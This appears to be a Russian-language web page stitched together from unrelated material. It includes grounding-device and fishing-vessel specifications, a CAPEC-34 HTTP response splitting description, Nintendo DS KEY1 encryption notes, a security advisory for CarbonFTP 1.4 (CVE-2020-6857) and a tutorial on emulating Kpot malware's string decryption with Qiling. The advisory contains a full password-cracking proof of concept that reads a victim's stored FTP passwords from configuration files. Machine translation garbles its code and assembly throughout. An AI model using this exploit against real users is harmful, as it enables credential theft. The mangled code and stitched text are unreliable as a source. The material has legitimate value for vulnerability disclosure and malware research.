Содержание

ЗПЛ-ПТР-15

ЗПЛ-ПТР-15 (Для ВЛ до 15 кВ с тремя штангами)

ГОСТ: ТУ 3414-005-39967830-2008

Заземление предназначено для защиты работающих на отключенных участках ВЛ при непредусмотренном появлении на этих участках высокого или наведенного напряжения.

Наименование параметров Значение параметров
ЗПЛ-ПТР-15(S=25 — S=95)
Рабочее напряжение, кВ, не более 15
Количество фазных зажимов, шт  3
Количество стеклопластиковых штанг , шт 3
Длина штанги, мм
изолирующей части
рукоятки 
Длина медного провода, м, не менее
заземляющий спуск 
межфазное
общая
Сечение заземляющего медного провода в прозрачной морозостойкой прочной к истиранию изоляции, кв. мм. 25-35
Максимально допустимый ток термической стойкости короткого замыкания при времени выдержки релейной защиты 3 сек., кА, не более  По ГОСТу
Ток электродинамической устойчивости, кА
По ГОСТу
Температура эксплуатации, град. С -50 — +50
Вес, кг, не более
Средний срок службы, лет  8

Заземление переносное с  медным гибким проводом в прозрачной, морозостойкой, прочной к истиранию и механическим повреждениям изоляции сохраняющей эластичные свойства и не трескающийся при температуре до минус 50 град.С.

Штанги  переносных заземлений   изготавливаются из стеклопластика с высокой механической прочностью, с герметизацией внутренних полостей.

Заземляющий провод опрессовывается в медных кабельных наконечниках с гальваническим лужением с применением шестигранных матриц.

Контакт заземляемого провода с заземлением производится через зажим (типа прищепка) на котором закреплена медная контактная пластина с гальваническим лужением, что значительно снижает переходное сопротивление и повышает безопасность от наведенного напряжения.

Контакт заземляемого провода с заземлением производится с помощью аллюминевой струбцины при сечении провода более 35 кв.мм.

По желанию заказчика струбцина может изготавливаться с шарнирным винтом , что  позволяет устанавливать заземление под удобным углом и при этом надежно затягивать струбцину на заземляемом проводе.

Возможно изготовление на заказ c сечением 120, 150, 185, 240 мм2

Вернуться назад

Приемно-транспортный рефрижератор типа ПТР-5

Назначение судна:     — прием рыбы-сырца в районах промысла
    — транспортировка рыбы в охлажденном виде на рыбоперерабатывающие предприятия и пункты реализации
Длина габаритная (м) 18,20
Длина между перпендикулярами (м) 16,20
Ширина габаритная (м)
Ширина расчетная (м) 3,65
Высота борта до верхней палубы (м) 2,20
Осадка средняя в грузу (м) 1,25
Водоизмещение наибольшее (т) 42,31
Дедвейт (т) 10,31
Регистровая вместимость валовая / чистая (рег.
т)
— / 30
Грузоподъемность по охлаждённой рыбе в ящиках (т) 7,5
Автономность плавания (сут) 3
Главные двигатели:

    — Количество и мощность (л.с. каждый)
1*90 (1*110)
    — Марка
6ЧСП 12/14
    — Частота вращения (об/мин)
1550
Валогенераторы:

    — Тип

    — Количество и мощность валогенераторов (кВт каждый)
    — Частота вращения (об/мин)
    — Напряжение генератора (В)
    — Род тока
Вспомогательные дизель-генераторы:

    — Количество и мощность дизелей (л. с. каждый)
1*26
    — Частота вращения (об/мин)
1500
    — Марка дизеля
4Ч 8.5/11
    — Количество и мощность генераторов (кВт каждый)
1*12
    — Тип генератора
ЕСС62-42У2
    — Напряжение генератора (В)
230
    — Род тока AC
Аварийный дизель-генератор:
    — Мощность дизеля (л.с.)
не применимо
    — Частота вращения (об/мин)
не применимо
    — Марка дизеля
не применимо
    — Мощность генератора (кВт)
не применимо
    — Тип генератора
не применимо
    — Напряжение генератора (В)
не применимо
    — Род тока не применимо
Аварийное освещение:
    — Количество и емкость аккумуляторных батарей (Ач каждая)
    — Напряжение (В)
Рефрижераторные трюмы, количество и общий объем (куб.
м)
1*19
Температура в трюмах (С) -5
Хладагент Фреон 12
Краны, количество и грузоподъемность (т) 1*0,2
Дизельное топливо (т) 1,12
Тяжелое топливо (т) не применимо
Пресная вода (т)
0,66
Скорость (уз) 8,5
Количество коечных мест
Количество построенных единиц ?
Год начала постройки судов данного типа 1978
Год окончания постройки судов данного типа
Завод-строитель Таллиннский СРЗ, г. Таллинн, СССР

Общий обзор классификаций угроз безопасности: OWASP, CWE, CAPEC, WASC

CAPEC-34 HTTP Response Splitting
Название Разделение HTTP-ответов.
Критичность Высокая.
Описание Разделение HTTP-ответов приводит к тому, что уязвимый веб-сервер отвечает на вредоносный запрос, отправляя клиенту HTTP-ответ таким образом, что он интерпретируется в браузере как два отдельных ответа вместо одного. Это возможно, когда контролируемый пользователем ввод используется в составе заголовков ответов. Злоумышленник может заставить жертву интерпретировать введенный Заголовок как ответ на второй фиктивный запрос, в результате чего созданное содержимое будет отображаться клиентом и, возможно, кэшироваться на промежуточных прокси-серверах или самом клиенте. Чтобы добиться разделения HTTP-ответа на уязвимом веб-сервере, злоумышленник:
  1. Находит такие данные для ввода, которые приводят к произвольному внедрению HTTP-заголовка.
  2. Производит вредоносный ввод, состоящий из данных, необходимых для того, чтобы завершить исходный ответ (например, \r\n\r\n) и начать второй ответ с заголовками, контролируемыми злоумышленником.
  3. Вынуждает жертву отправить на уязвимый сервер два HTTP-запроса. Первый запрос состоит из вредоносного ввода, который будет использоваться как часть заголовков HTTP-ответов, а второй является фиктивным запросом, чтобы жертва интерпретировала вторую часть разделенного ответа как принадлежащую второму HTTP-запросу.
Необходимые предпосылки атаки Пользователь может контролировать входные данные, которые могут использоваться как часть HTTP-заголовка. Возможность злоумышленника внедрять произвольные строки в HTTP-заголовок. Недостаточные проверки входных данных.
Вероятность эксплуатации Средняя.
Метод атаки Внедрение, манипуляция протоколом.
Примеры сценария Уязвимость CVE-2006-0207.
Компетенции злоумышленника Высокие, злоумышленник должен иметь глубокое понимание протокола HTTP.
Необходимые злоумышленнику ресурсы Нет.
Признаки атаки Единственный признак – несколько ответов на один запрос в логах, однако это сложно заметить без анализатора журнала.
Способ предотвращения Чтобы избежать разделения HTTP-ответов, приложение не должно доверять вводу пользователя при формировании выходного потока ответов (заголовков или тела). Разделение ответов происходит за счет внедрения последовательностей CR-LF и дополнительных заголовков. Все данные, поступающие от пользователя и используемые в качестве части заголовков HTTP-ответов, должны подвергаться строгой проверке (валидации).
Цель и последствия Исполнение несанкционированного кода или команд. Вытекающие последствия – повышение привилегий.
Описание контекста Атаки разделения HTTP-ответа происходят там, где сценарий сервера внедряет управляемые пользователем данные в заголовки HTTP-ответа. Обычно это происходит, когда скрипт встраивает такие данные в URL-адрес перенаправления в ответ перенаправления (код статуса HTTP 3хх), или когда сценарий включает такие данные в cookie ответа.
Вектор атаки Управляемый пользователем ввод, который является частью выходных заголовков HTTP-ответов.
Атакующая строка Закодированный HTTP-заголовок и данные, разделенные соответствующими последовательностями CR-LF. Вводимые данные должны состоять из корректных HTTP-заголовков, а также скрипта (обычно JavaScript), который будет включен в текст HTML.
Зона активации Вызовы API в приложении, которые формируют выходные заголовки HTTP-ответов.
Связанные недостатки CWE-113, CWE-74, CWE-697, CWE-707, CWE-713.

GBATEK DS Шифрование с помощью игрового/идентификационного кода (KEY1)

GBATEK DS Шифрование с помощью игрового/идентификационного кода (KEY1)
KEY1 – Шифрование игрового/идентификационного кода
не содержат случайных компонентов. Тот факт, что команды, зашифрованные KEY1, появляются random просто потому, что команды содержат случайные значения, поэтому результат шифрования выглядит случайным. Шифрование

KEY1 используется для зашифрованных KEY1 команд игровой тележки (т.для погрузки охраняемая территория). Он также используется для решения дополнительной расшифровки первые 2К защищенной области, и для расшифровки прошивки, и для декодирования некоторых зашифрованные значения в заголовке gamecart/firmware.

Начальные значения шифрования
Приведенные ниже формулы можно использовать только с копией таблиц ключей размером 1048h-байт из БИОС NDS/DSi. Значения можно найти по адресу:

  NDS.ARM7 ROM: 00000030h..00001077h (значения 99 D5 20 5F ..) Режим Blowfish/NDS
  ДСи.ПЗУ ARM9: FFFF99A0h..FFFFA9E7h (значения 99 D5 20 5F ..) ""
  Копия DSi.TCM: 01FFC894h..01FFD8DBh (значения 99 D5 20 5F ..) ""
  DSi.ARM7 ROM: 0000C6D0h..0000D717h (значения 59 AA 56 8E ..) Blowfish/DSi-режим
  Копия DSi.RAM: 03FFC654h..03FFD69Bh (значения 59 AA 56 8E ..) ""
  DSi.Debug: (хранится в лаунчере) (значения 69 63 52 05 . .) Blowfish/DSi-debug
 
Разделы ПЗУ DSi отключаются после загрузки, но копии ОЗУ/TCM можно дамп (например, с некоторыми сложными аппаратными модами основной памяти или через unlaunch эксплуатация).Ключ DSi.Debug хранится в программе запуска и используется, когда SCFG_OP отличен от нуля (как и при отладке на оборудовании).

encrypt_64bit(ptr) / decrypt_64bit(ptr)

  Y=[указатель+0]
  Х=[указатель+4]
  FOR I=0 TO 0Fh (зашифровать) или FOR I=11h TO 02h (расшифровать)
    Z=[keybuf+I*4] Исключающее ИЛИ X
    X=[keybuf+048h+((Z SHR 24) И FFh)*4]
    X=[keybuf+448h+((Z SHR 16) AND FFh)*4] + X
    X=[keybuf+848h+((Z SHR 8) AND FFh)*4] XOR X
    X=[keybuf+C48h+((Z SHR 0) AND FFh)*4] + X
    X=Y Исключающее ИЛИ X
    Y=Z
  СЛЕДУЮЩИЙ Я
  [ptr+0]=X XOR [keybuf+40h] (шифрование) или [ptr+0]=X XOR [keybuf+4h] (расшифровка)
  [ptr+4]=Y XOR [keybuf+44h] (шифрование) или [ptr+4]=Y XOR [keybuf+0h] (расшифровка)
 

apply_keycode (по модулю)
  encrypt_64bit (код ключа + 4)
  encrypt_64bit (код ключа + 0)
  [скретч]=0000000000000000h ;S=0 (64 бит)
  FOR I=0 TO 44h ШАГ 4 ;xor с обратным порядком байтов (bswap)
    [keybuf+I]=[keybuf+I] XOR bswap_32bit([keycode+(I MOD по модулю)])
  СЛЕДУЮЩИЙ Я
  ДЛЯ I=0 ДО 1040ч ШАГ 8
    encrypt_64bit(scratch) ;зашифровать S (64bit) с помощью keybuf
    [keybuf+I+0]=[scratch+4] ;записать S в keybuf (первый верхний 32-битный)
    [keybuf+I+4]=[scratch+0] ;записать S в keybuf (затем уменьшить 32 бита)
  СЛЕДУЮЩИЙ Я
 

init_keycode(idcode,level,modulo,key)
  если ключ=nds, то скопируйте [nds_arm7bios+0030h. .1077h] в [keybuf+0..1047h]
  если key=dsi, то скопируйте [dsi_arm7bios+C6D0h..D717h] в [keybuf+0..1047h]
  [ключевой код+0]=[идентификатор]
  [код клавиши+4]=[идентификатор кода]/2
  [код+8]=[идентификатор]*2
  IF level>=1 THEN apply_keycode(modulo); сначала применить (всегда)
  IF level>=2 THEN apply_keycode(modulo); второе применение (необязательно)
  [код+4]=[код+4]*2
  [код клавиши+8]=[код клавиши+8]/2
  IF level>=3 THEN apply_keycode(modulo); третье применение (необязательно)
 

прошивка_расшифровка
  init_keycode(firmware_header+08h,1,0Ch,nds); idcode (обычно "MACP"), уровень 1
  decrypt_64bit(firmware_header+18h) ;rominfo
  init_keycode(firmware_header+08h,2,0Ch,nds); idcode (обычно "MACP"), уровень 2
  расшифровать загрузочный код ARM9 и ARM7 с помощью decrypt_64bit (каждый 8 байт)
  распаковать загрузочный код ARM9 и ARM7 с помощью функции LZ77 (swi)
  calc CRC16 для расшифрованного/распакованного загрузочного кода ARM9, за которым следует загрузочный код ARM7
 
Примечание. Размеры сжатых/зашифрованных областей загрузочного кода неизвестны (до они полностью распакованы), один из способов решить эту проблему — расшифровать следующие 8 байт каждый раз, когда функция декомпрессии требует больше данных.

gamecart_decryption

  init_keycode(cart_header+0Ch,1,08h,nds); код игры, уровень 1, модуль 8
  decrypt_64bit(cart_header+78h) ;rominfo (защищенная зона отключена)
  init_keycode(cart_header+0Ch,2,08h,nds); код игры, уровень 2, модуль 8
  encrypt_64bit все команды NDS KEY1 (1-й командный байт в MSB 64-битного значения)
  после загрузки secure_area вычислите crc secure_area, затем
  decrypt_64bit(secure_area+0); первые 8 байт защищенной области
  init_keycode(cart_header+0Ch,3,08h,nds); код игры, уровень 3, модуль 8
  decrypt_64bit(secure_area+0..7F8h); каждые 8 ​​байт в первых 2 КБ безопасного
  init_keycode(cart_header+0Ch,1,08h,dsi); код игры, уровень 1, модуль 8
  encrypt_64bit все команды DSi KEY1 (1-й командный байт в MSB 64-битного значения)
 
После расшифровки защищенной зоны поле ID в первых 8 байтах должно быть «encryObj», если совпадает, то первые 8 байт заполняются E7FFDEFFh, в противном случае все 2K заполняются этим значением.

Командный регистр Gamecart
Обратите внимание, что порядок байтов в командном регистре [40001A8h] обратный.То как ЦП хранит 64-битные данные в памяти (и как функция «encrypt_64bit» для команд, зашифрованных с помощью KEY1, ожидает данные в памяти) LSB по адресу [addr+0] и MSB по адресу [addr+7]. Это значение должно быть передано первым. Однако аппаратное обеспечение DS сначала передает [40001A8h+0], а [40001A8h+7] — в последнюю очередь. Таким образом, порядок байтов должен быть обратным при копировании значения из памяти в регистр команд.

Примечание
Шифрование KEY1 основано на «шифровании Blowfish» Брюса Шнайера. Алгоритм».

извлечено из no$gba v3.05 — домашняя страница — патреон — весь документ htm/txt — авторские права 2021 Мартин Корт (без наличных)

NEOWISE CARBONFTP 1.4 — слабое шифрование паролей

  # Название эксплойта: NEOWISE CARBONFTP 1. 4 — слабое шифрование паролей
# Дата открытия: 2019-01-24
# опубликовано : 20-01-2020
# Автор эксплойта: hyp3rlinx
# Домашняя страница поставщика: https://www.neowise.ком
# Ссылка на программное обеспечение: https://www.neowise.com/freeware/
# Версия: 1.4

[+] Кредиты: Джон Пейдж (aka hyp3rlinx)
[+] Веб-сайт: hyp3rlinx.altervista.org
[+] Источник: http://hyp3rlinx.altervista.org/advisories/NEOWISE-CARBONFTP-v1.4-INSECURE-PROPRIETARY-PASSWORD-ENCRYPTION.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec
 

[Продавец]
www.neowise.com


[Продукт]
Карбон FTP v1.4

CarbonFTP — это инструмент синхронизации файлов, который позволяет синхронизировать локальные файлы с удаленным FTP-сервером и наоборот.Он предоставляет пошаговый мастер для выбора папок для синхронизации, направления синхронизации и опции.
установить маски файлов, чтобы ограничить передачу определенными типами файлов. Ваши настройки могут быть сохранены как проекты, поэтому их можно
быстро повторно используется позже. 

Скачать: https://www.neowise.com/freeware/
Хэш: 7afb242f13a9c119a17fe66c6f00a1c8


[Тип уязвимости]
Небезопасное запатентованное шифрование паролей


[Справочник по CVE]
CVE-2020-6857


[Затронутый компонент]
Шифрование пароля


[Влияние на повышение привилегий]
истинный


[Раскрытие информации о влиянии]
истинный


[Проблема безопасности]
Углеродный FTP v1.4 использует небезопасное проприетарное шифрование паролей с жестко закодированным слабым ключом шифрования.
Ключ для локально хранимых паролей FTP-сервера жестко запрограммирован в двоичном коде. Пароли в шестнадцатеричном коде
преобразуются в десятичное число, которое затем вычисляется путем добавления ключа «97F» к результату. Ключ 97F кажется
быть одинаковым для всех исполняемых файлов во всех системах. Наконец, пароли хранятся в виде десятичных значений.

Если пользователь выбирает сохранение проекта, пароли сохраняются в локальных файлах конфигурации «.CFTP».Их можно найти в папке «C:\Users\\AppData\Roaming\Neowise\CarbonFTPProjects». 

например

Пароль=STRING|"2086721956209392195620939"

Наблюдая за некоторыми очень короткими примерами паролей, мы видим интересные закономерности:

27264 27360 27360 27360 27360 = а
27520 27617 27617 27617 27617 = б
27266 27616 27360 27361 27616 = ааб
27521 27616 27616 27616 27616 = ба

Шифрование/дешифрование пароля происходит следующим образом.

Пример процесса шифрования.484C как десятичное значение 18508
97F в шестнадцатеричном формате — это значение 2431 (ключ шифрования)
18508 + 2431 = 20939, тогда значение 20939 будет представлять символы ASCII «HL».

Чтобы расшифровать, мы просто выполняем операцию, обратную описанной выше.
20939 - 2431 = 18508
Далее преобразуем десятичное значение 18508 в шестнадцатеричное и получаем 484С.
Наконец, преобразуйте шестнадцатеричное значение 484C в ascii, чтобы получить открытый текстовый пароль «HL».

Пароли CarbonFTP менее девяти символов дополняются символами от текущего пароля до
достигнув длины пароля в девять байтов. Двухсимвольный пароль «XY» в зашифрованном виде «2496125048250482504825048» дополняется «XY» до достижения длины
из девяти байтов "XYXYXYXYX".

Точно так же пароль «HELL» равен «2086721956209392195620939» и снова дополняется, поскольку его длина меньше девяти байтов.

Таким образом, мы получим несколько кандидатов на взломанный пароль, например: «АД | АД | АД | АД | АД | ОН |
Однако чем длиннее пароль, тем легче его взломать, так как мы можем расшифровать пароли за один раз.
выстрелил, не имея нескольких кандидатов на выбор, один из которых был правильным паролем.Поэтому "LOOOOOONGPASSWORD!" хранится в виде зашифрованной строки "21
73422734224782298223744247862350210947" и поскольку он больше девяти байтов, он взламывается без возврата каких-либо паролей-кандидатов. От смещения 0047DA6F до 0047DAA0 находится цикл, выполняющий процесс расшифровки пароля. Используя тот же пароль «АД» в качестве примера. БПКС @47DA6F 0047DA6F | 8D 45 F0 | lea eax,dword ptr ss:[ebp-10] | 0047DA72 | 50 | нажать eax | 0047DA73 | В9 05 00 00 00 | мов екх,5 | 0047DA78 | 8Б Д3 | мов edx, ebx | 0047DA7A | 8Б 45 ФК | mov eax,dword ptr ss:[ebp-4] | [ebp-4]:"2086721956209392195620939" 0047DA7D | Е8 Ф6 6Б Ф8 ФФ | позвоните в карбонфтп. 404678 | 0047DA82 | 83 С3 05 | добавить ebx,5 | 0047DA85 | 8Б 45 Ф0 | mov eax,dword ptr ss:[ebp-10] | [ebp-10]:"20867" 0047DA88 | E8 AF AD F8 FF | позвоните по углеродному ftp.40883C | 0047DA8D | 2Б 45 Ф8 | sub eax,dword ptr ss:[ebp-8] | ;<======= BOOOM ЗАШИФРОВАТЬ/РАСШИФРОВАТЬ КЛЮЧ 97F В ДЕСЯТИЧНОМ ДВИГАТЕЛЕ 2431 0047DA90 | 66 89 06 | mov word ptr ds:[esi],ax | 0047DA93 | 83 С6 02 | добавить esi,2 | 0047DA96 | 8Б 45 ФК | mov eax,dword ptr ss:[ebp-4] | [ebp-4]:"2086721956209392195620939" 0047DA99 | Е8 7А 69 Ф8 ФФ | позвоните в карбонфтп.404418 | 0047DA9E | 3Б Д8 | cmp ebx,eax | 0047DAA0 | 7Э компакт-диск | джле углеродаftp.47DA6F | Хорошо, простое объяснение после SetBPX в 47DA88... По смещению 0047DA8D из локальной переменной [ebp-8] вычитается 97F, которая равна десятичному значению 2431 (шестнадцатеричное 97F). мы также видим, что EAX содержит значение 55C4. sub eax,dword ptr ss:[ebp-8] следовательно, 55C4 – 97F = 4C45 <======= ПРОЦЕСС ШИФРОВАНИЯ/РАСШИФРОВАНИЯ КЛЮЧА. mov word ptr ds:[esi],ax добавить esi, 2, что равно 4C45 + 2 = 4C47 <===== ТОГДА Учитывая комбинацию из двух букв, например «HL»: 484C в виде десятичного числа равно 18508. 97F шестнадцатеричный в десятичный 2431 18508 + 2431 = 20939 = "ХЛ" Сделанный! [Эксплойт/POC] "CarbonFTPExploit.py" время импорта, строка, sys, argparse, os из pkgutil импортировать iter_modules #Образец тестового пароля #LOOOOONGPASSWORD! = 2173422734224782298223744247862350210947 key="97F" #2431 в десятичном виде, слабый жестко запрограммированный ключ шифрования в программе vuln.chunk_sz=5 #количество байт, на которое мы должны расшифровать пароль. #Пароль хранится здесь: #C:\Users\\AppData\Roaming\Neowise\CarbonFTPProjects\.CFTP #Neowise CarbonFTP v1.4 #Небезопасное шифрование паролей #От Джона Пейджа (он же hyp3rlinx) #Призрачная безопасность #================================================ == def carbonftp_conf (conf_file): р = "" труба=-1 пароль="" lst_of_passwds=[] пытаться: для p в conf_file: IDx = р. найти("Пароль=STRING|") если idx != -1: труба = p.find("|") если труба != -1: пароль = p[труба + 2: -2] print(" Пароль найден: "+passwd) lst_of_passwds.append(пароль) кроме Исключения как e: печать (стр (е)) вернуть lst_of_passwds изменить порядок определения (слева): к=1 j=0 для n в диапазоне (len (lst)): к+=1 j+=1 пытаться: tmp = лст[n+k] а = 1ст[n+j] лст[n+j] = tmp лст[п+к] = а кроме Исключения как e: проходят возвращение ''.присоединиться (слева) защита dec2hex (dec): tmp = ул (шестнадцатеричный (целое (дек))) вернуть строку (tmp [2:]) определение hex2ascii (ч): ч=ч.полоса() пытаться: hex_val = h.decode("hex") кроме Исключения как e: print("[!] Недопустимая шестнадцатеричная строка. ") выход() filtered_str = фильтр (лямбда s: s в string.printable, hex_val) вернуть filtered_str def chunk_passwd (passwd_lst): список = [] для пароля в passwd_lst: пока пароль: лст.добавить (пароль[:chunk_sz]) пароль = пароль[chunk_sz:] вернуть список цент = 0 пароль_стр = "" защита деоб (с): глобальный cnt, passwd_str тмп = "" пытаться: tmp = int(c) - int(ключ, 16) tmp = dec2hex(tmp) кроме Исключения как e: print("[!] Недействительный зашифрованный пароль CarbonFTP.") выход() б="" а = "" #Кажется, мы можем удалить второй символ, так как он чаще всего является мусором.если снт!=1: а = тмп[:2] кт+=1 еще: б = тмп[:4] passwd_str += hex2ascii(a + b) hex_passwd_lst = список (passwd_str) вернуть hex_passwd_lst определение no_unique_chars (lst): с=0 к=1 j=0 для i в диапазоне (len (lst)): к+=1 j+=1 пытаться: а = 1ст[я] б = 1ст[я+1] если а != б: с+=1 Элиф с==0: print("[!] Возможен односимвольный пароль?: " +str(lst[0])) вернуть список [0] кроме Исключения как e: проходят вернуть ложь Дешифратор защиты (result_lst): глобальный пароль_str, sz final_carbon_passwd="" print(" Расшифровка . ..\п") для i в result_lst: печать("[-] "+я) время сна (0,1) лст = deob(i) # Переупорядочить символы, чтобы исправить последовательность, используя пользовательскую функцию замены (переупорядочить). reordered_pass = переупорядочить (lst) sz = len (переупорядоченный_проход) #Отметить возможный односимвольный пароль. no_unique_chars (первый) print("[+] ДЛИНА ПАРОЛЯ: " + str(sz)) если сз == 9: return (reordered_pass[:-1] + " | " + reordered_pass[:-2] + " | " + reordered_pass[:-4] + " | " + переупорядоченный_пароль[:-5] +" | " + переупорядоченный_пароль[:-6] + " | "+ переупорядоченный_пароль[:-7] + " | " + переупорядоченный_пароль) # У более коротких паролей менее девяти символов будет несколько кандидатов #поскольку они дополняются повторяющимися символами, мы их возвращаем.пароль_стр = "" вернуть reordered_pass защита display_cracked_passwd (sz, пароль): если сз==9: print("[*] КАНДИДАТЫ ПАРОЛЯ: "+ passwd + "\n") еще: print("[*] РАСШИФРОВАННЫЙ ПАРОЛЬ: "+passwd + "\n") определение parse_args(): синтаксический анализатор = argparse. ArgumentParser() parser.add_argument("-u", "--user", help="Имя пользователя для взлома каталога файлов паролей Carbon .CFTP") parser.add_argument("-p", "--encrypted_password", help="Взломать один зашифрованный пароль") возврат парсера.parse_args() деф основной (аргументы): глобальный пароль_str, sz жертва = "" если args.user и args.encrypted_password: print("[!] Укажите имя пользователя жертвы -u или один зашифрованный пароль -p, а не оба вместе.") выход() print("[+] Neowise CarbonFTP v1.4") время сна (0,1) print("[+] CVE-2020-6857 Небезопасное шифрование проприетарного пароля") время сна (0,1) print("[+] Обнаружен и взломан hyp3rlinx") время.сон(0,1) print("[+] ApparitionSec\n") время сна(1) # Взломать каталог файлов конфигурации carbonFTP, содержащих зашифрованные пароли -u flag. если args.user: жертва = args.user os.chdir("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/") dir_lst = os. listdir(".") для c в dir_lst: f=open("C:/Users/"+victim+"/AppData/Roaming/Neowise/CarbonFTPProjects/"+c, "r") #Получить зашифрованный пароль из файла conf passwd_enc = carbonftp_conf(f) #Разбить на фрагменты по 5 байт, обработанные собственной процедурой расшифровки.result_lst = chunk_passwd (passwd_enc) # Расшифруйте 5-байтовые фрагменты и соберите пароль в виде открытого текста. Cracked_passwd = расшифровщик (result_lst) #Распечатать взломанный пароль или кандидатов. display_cracked_passwd (sz, cracked_passwd) время сна (0,3) пароль_стр = "" е.закрыть() # Взломать один пароль -p флаг. если args.encrypted_password: passwd_to_crack_lst = [] passwd_to_crack_lst.добавить (args.encrypted_password) результат = chunk_passwd (passwd_to_crack_lst) #Распечатать взломанный пароль или кандидатов. Cracked_passwd = расшифровщик (результат) display_cracked_passwd (sz, cracked_passwd) если __name__=="__main__": синтаксический анализатор = argparse. ArgumentParser() если len(sys.argv)==1: parser.print_help(sys.stderr) выход() основной (parse_args()) [URL видео POC] [Доступ к сети] Местный [Строгость] Высокий [Хронология раскрытия информации] Уведомление поставщика: контактная форма веб-сайта не работает, несколько попыток: 12 января 2020 г. CVE Назначено mitre: 13 января 2020 г. 20 января 2020 г.: Публичное раскрытие [+] Отказ от ответственности Информация, содержащаяся в этом информационном бюллетене, предоставляется «как есть» без каких-либо гарантий или гарантий пригодности для использования или иным образом.Настоящим дается разрешение на распространение данного информационного бюллетеня при условии, что оно не будет изменено, кроме как путем переформатирования, и что должный кредит предоставляется. Разрешение явно дается для вставки в базы данных уязвимостей и т.п., при условии должного кредита. отдается автору. Автор не несет ответственности за любое неправомерное использование информации, содержащейся здесь, и не принимает на себя никакой ответственности. за любой ущерб, вызванный использованием или неправильным использованием этой информации. Автор запрещает любое злонамеренное использование информации, связанной с безопасностью. или подвиги автора или где-либо еще.Весь контент (с). hyp3rlinx

Использование Qiling для расшифровки строк Kpot

Я написал эту статью давным-давно, вскоре после выпуска обзора Kpot, но так и не доработал ее, во всяком случае, недавно у меня было немного времени, и я решил немного отшлифовать ее и просто опубликовать.

Я перейду сразу к делу, но те из вас, кто не знаком с Qiling , просто взгляните на репозиторий и портал документации, и вы не будете разочарованы!

И последнее, но не менее важное: если вы хотите продолжить, вам понадобится ghidra_bridge, чтобы Qiling и Ghidra были на одной странице, поскольку последний «говорит» только на Python2.7, тогда как для первого требуется Python3, и, как вы уже догадались, мост позволит вам запустить — типа — Python3 в инструменте АНБ.

Пусть это будет Гидра

Я считаю само собой разумеющимся, что вы ознакомились с предыдущим анализом и имеете представление о том, как была обнаружена и отменена функция расшифровки, весь смысл работы с Qiling в этом сценарии — как ленивый реверсер — позволить инструменту выполнить подъем тяжестей и позвольте нам повеселиться.

Для этой версии Kpot возможны два подхода к эмуляции, но методы, представленные здесь, хорошо послужат вам для любого вредоносного ПО, основанного на той же реализации кода.

Выбор

Опция — 1. Поскольку строки расшифровываются массово (в рамках одной огромной функции), вскоре после основной записи в коде может быть эмуляция функции-оболочки , которая содержит все вызовы mw_func_string_decrypt . быстрая победа. Перехват всех операций MOV , когда содержимое EAX перемещается в глобальный массив, предоставит доступ к расшифрованной строке.

В этом случае становится тривиальной проверка шаблона {a3 ?? 5? 41 00 } и построить эмуляцию вокруг этого, но вместо этого мы пойдем другим путем…

Опция — 2. Эмулировать только функцию, отвечающую за расшифровку строки, и создать все ожидаемые параметры

Мы будем исследовать этот 2-й метод, так как более точный и, насколько я мог видеть, никто не показал, как это сделать с помощью Цилин, чего нельзя сказать о первой стратегии.

Прежде всего, давайте кратко рассмотрим функцию расшифровки , которая использует соглашение о вызовах __ cdecl и принимает три параметра,

  - Ключ дешифрования
- Зашифрованная строка
- Длина зашифрованной строки  
  1
2
3
4
  
  .текст:00405680 PUSH 0x22 ; длина зашифрованных строк
 .text:00405682 PUSH s_I8VN5ESIRT1VVWX4EQMEPW9XK60WSDIR ; зашифрованные строки
 . text:00405687 PUSH DAT_004117bc ; ключ
 .text:0040568c CALL mw_func_string_decrypt ; int mw_func_string_decrypt (ключ int, char *  

Теперь мы делаем быструю перемотку вперед и предполагаем следующее (еще раз проверьте предыдущий блог, в котором объясняются все шаги, как мы достигли этой точки):

  • все вызовы внешних ссылок к функции расшифровки строк были идентифицированы (посредством сценариев) с помощью Ghidra
  • для каждого вызова внешней ссылки были извлечены параметры (ключ дешифрования, зашифрованная строка и ее длина)
  • наконец, все было сохранено в базовой структуре данных, такой как список строк и кортежей

      буфер: список = [
        ключ, (enc_str, enc_str_start_address)
    ]  

после сбора всех необходимых деталей структура буфера будет выглядеть так

Максимальное усилие

На данный момент нам не хватает только одного шага, части эмуляции, поскольку все детали, необходимые для выполнения Опция - 2 , были собраны и отформатированы таким образом, чтобы их могла использовать Qiling.

Основные моменты, то есть то, что нам нужно, чтобы Qiling работал на нас:

1 Определите функцию дешифрования, начальный и конечный адреса, в данном случае 0x405623 и 0x40567d

2 определить, где в коде вредоносного ПО будет размещен хук, например. 0x40567c

Это необходимо, поскольку, если вы вспомните перед выходом, функция расшифровки сохранит деобфускированную строку в регистре EAX , и наша цель — извлечь это значение до того, как оно будет перезаписано какой-либо другой операцией.

3 Поскольку эмулируется только одна функция, а не весь двоичный файл, и та же (функция) использует соглашение о вызовах __ cdecl , стек также необходимо подготовить, для чего требуется:

  1. PUSH длина зашифрованной строки
  2. PUSH зашифрованная строка
  3. PUSH ключ дешифрования
  4. PUSH обратный адрес для возврата после завершения функции расшифровки

давайте перейдем к части кода

  из qiling импорт *

# сохраняет все печатаемые и не печатаемые расшифрованные строки
dec_string = список()

start_decryption_function = 0x405623
end_decryption_function = 0x40567d

def extract_eax(ql: core. Цилин):
    """
    Код ловушки, который вызывается каждый раз при расшифровке
    функция завершается, но перед регистром EAX
    модифицируется некоторыми другими инструкциями
    """

    decrypted_string = ql.mem.read(ql.reg.eax, 0x50).split(b"\x00")[0].decode()
    print("Содержимое EAX: %s @ %s" % (decrypted_string, ql.enc_str_add))
    если decrypted_string.isprintable():
        пытаться:
            # хочу быть pprint для созданной этикетки, чтобы ее можно было
            # отображается в Ghidra
            label_decrypted_string = '_'.присоединиться (decrypted_string [: 40].strip("\\").strip("\"").split())
            start() # требуется для запуска транзакции (модификации) - h/t @justfoxing
            # обновить метки, чтобы оставить нетронутыми зашифрованные необработанные строки байтов
            createLabel (toAddr (ql.enc_str_add), label_decrypted_string, False)
            конец (правда)
        кроме исключений как ошибка:
            распечатать(f"Ошибка: {ошибка}")
    
    # сохранить все печатные и непечатаемые строки
    # отображаем расшифрованную строку и начальный адрес каждой. # например ( hxxp[:]//nkpotu.xyz/Kpot2/gate[.]ph, 0x411798 )
    c = (decrypted_string, ql.enc_str_add)
    dec_string.append(с)

эмулятор защиты():
    ql = Цилин([
        "kpotv1/soa_pdf_unpacked.bin"],
        rootfs="qiling/примеры/скрипты/rootfs/x86_windows",
        libcache=Истина)

    # перехватываем функцию расшифровки перед выходом
